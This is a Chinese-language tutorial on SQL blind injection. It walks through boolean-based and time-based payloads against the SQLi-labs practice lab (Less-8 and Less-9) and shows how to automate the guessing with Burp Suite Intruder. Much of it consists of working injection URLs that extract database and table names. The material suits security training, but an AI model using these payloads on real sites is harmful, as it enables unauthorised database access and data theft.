目录
5、猜测security数据库中第一表的的第一个字符(substr函数)
一、SQL盲注概述
基于布尔的盲注
某些场合下,页面返回的结果只有两种(正确或错误)。通过构造SQL判断语句,查看页面的返回结果(Ture or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
基于时间的盲注
又称延时注入,即使用延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。
二、SQL盲注常用函数
a、if()
功能:条件判断
语法格式:if(expr1,expr2,expr3) expr1为ture则返回expr2,expr1为false则返回expr3.
注:仅仅MySQL支持if(expr1,expr2,expr3)
b、length()
功能:发挥字符串的长度,以字节为单位
语法格式:length(str)
c、substr()、substring()
功能:从指定的位置开始,截取字符串指定长度的字符串
语法格式:substr(str,pos) 或者substr(str,pos,len)
substring(str,pos)或者substring(str,pos,len)
参数说明:str:要提取字串的字符串
pos:提取字串的开始位置
len:指定要提取的长度
d、延时函数sleep()
功能:让语句延迟执行一段时间,执行成功后返回0
语法格式:sleep(N),即延迟执行N秒
三、基于布尔盲注的实例
目标靶机:SQLi-labd less-8
典型应用场景:Web页面仅仅返回类似True或False的两种结果。
注入方式:进行SQL注入之后,根据页面返回的True或者False来得到数据库中的数据。
id=1 结果为真
id=-1 结果为假
a、布尔盲注流程:(手动猜测)
1、闭合方式判断
id=1' 结果为假
id=1' --+ 结果为真 (单引号闭合)
2、判断数据库长度
/Less-8/?id=1' and length(database())>8 --+
/Less-8/?id=1' and length(database())=8 --+ ##可知当前数据库字符数为8
3、猜测数据库的第一个字符(substr函数)
/?id=1' and substr(database(),1,1)='a' --+
/?id=1' and substr(database(),1,1)='s' --+ ##可知数据库第一个字符为's'
依此类推:
/?id=1' and substr(database(),2,1)='e' --+
/?id=1' and substr(database(),3,1)='c' --+
。。。。。。 得出数据库8个字符为'security'
4、猜测猜测security数据库中第一表的长度
Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+
以此类推 第二表,第三张表。。。。
5、猜测security数据库中第一表的的第一个字符(substr函数)
/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='s' --+
以此类推 。。。。
b、布尔盲注半自动化注入(burpsuite)
以猜测数据库名为列
1、burpsuite抓取判断数据库第一个字符的包
/Less-8/?id=1' and substr(database(),1,1)='s' --+(抓包之前先执行一些判断参数一定正确)
2、发送到Intruder(暴力破解模块)
要查看数据库第一个字符到第八个字符,每个位置的字符不定。
在暴力破解模块,模式为Cluster bomb
参数为两个,第一个为数据库的第几个字符,第二个为当前字符。
因为有当前数据库字符数为8,所以第一个参数为1~8,部长为1,第二个参数为数据库的字符(随机的),笔者这里是选择的全小写字母(因为笔者知道数据库名称)
然后点击右边的Start attack
默认排序
所以我们点击一些length,让其在length之列排序
可见数据库每个位置的字符,都已经暴力破解出来
根据顺序数据库名为 : security
五、基于时间盲注的实例
原理:
if( length( database() )=8 , sleep(10) , sleep(0) ) 拆分开的
如果数据库长度等于8,网页则会延迟10秒回显,否则延迟0秒
目标靶机:SQLi-labd less-9
典型应用场景:Web页面仅仅返回类似True
注入方式:进行SQL注入之后,根据页面时间延迟的现象来获取数据库中的数据。
id=1 (真)
id=adjflksjod (真)
a、时间盲注流程:(手动猜测)
1、判断数据库长度
http:/ip/sqli-labs-master/Less-9?id=1' and if(length(database())=8,sleep(10),0) --+
当执行命令后,网页会延迟10,才正常回显。
可以按F12键,网络选项中,查看回显时间
2、判断数据库第一个字符
/?id=1' and if(substr(database(),1,1)='s',sleep(10),3)--+ (可知第一个字符为s)
以此类推 数据库名为security
3、判断数据库security数据库中第一个表长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=6,sleep(5),1)--+
以此类推 第一张表
/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(10),3)--+
以此类推,第一张表为emails,第二张,第三张。。。。
b、时间盲注半自动化注入(burpsuite)
以猜测数据库名为列(默认知道数据库长度为8 )
1、burpsuite抓取判断数据库第一个字符的包
把数据包发送intruder模块
在暴力破解模块中,模式为Cluster bomb
参数为两个,第一个为数据库的第几个字符,第二个为当前字符。
2、设置爆破参数
第一个参数字典为1~8
第二个参数字典为a~z (在实战中,数据库名不一定全是小写字母)
3、排序响应包
点击Start attack
默认排序,不能观察
设置一下,就可以看出效果。
点击最上面Columns选项,里面的Response received,点击后就会多出一列
点击Response received
根据顺序,可得出数据库名为 security
以此类推 表长度,表名。字段长度,字段名。。。。